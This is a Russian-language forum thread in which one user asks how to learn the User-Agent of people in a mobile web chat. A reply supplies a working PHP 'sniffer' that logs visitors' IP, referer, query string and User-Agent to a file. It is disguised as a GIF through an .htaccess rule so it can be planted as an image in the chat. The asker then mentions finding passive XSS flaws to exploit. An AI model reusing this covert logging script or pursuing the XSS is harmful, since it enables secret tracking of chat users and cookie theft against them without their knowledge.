Узнаем User Agent в чате.

Вопрос такой возник,как узнать User Agent в мобильном html чате ?

 

HTML ?!
Чат поддерживает вставку IMG со сторонних ресурсов? Если да, то через сниффер.

 

Подкинь пару линков,почитать хочу.

 

Создай скрипт:

PHP:

<?
$snif[] = date("d.m.Y H:i");
$snif[] = $_SERVER['REMOTE_ADDR'];
@$snif[] = $_SERVER['HTTP_REFERER'];
@$snif[] = $_SERVER['QUERY_STRING'];
$snif[] = $_SERVER['HTTP_USER_AGENT'];
$file = "file.txt";
$s = fopen($file,"a+");
@$sa = fread ($s,filesize($file));
$fp = fopen($file,"w");
foreach ($snif as $sniffed)
{
fwrite($fp,"\n".$sniffed);
}
fwrite($fp,"\n");
fwrite($s,$sa);
fclose($s);
fclose($fp);
?>


Теперь поменяем расширение php на gif, для этого создадим файл .htaccess:

Code:

<Files "g.gif">
AddType application/x-httpd-php .gif
</Files>

Теперь вставляй в чат картинку (.gif) и смотри файл file.txt
Вроде должно работать

 

Спасибо,попробую..

 

если не получиться, то напиши в личку. попробую сделать сам

 

Вобщем в том чате нельзя вставлять IMG тег.Сканировал,нашел пассивные XSS.Как их юзать не знаю.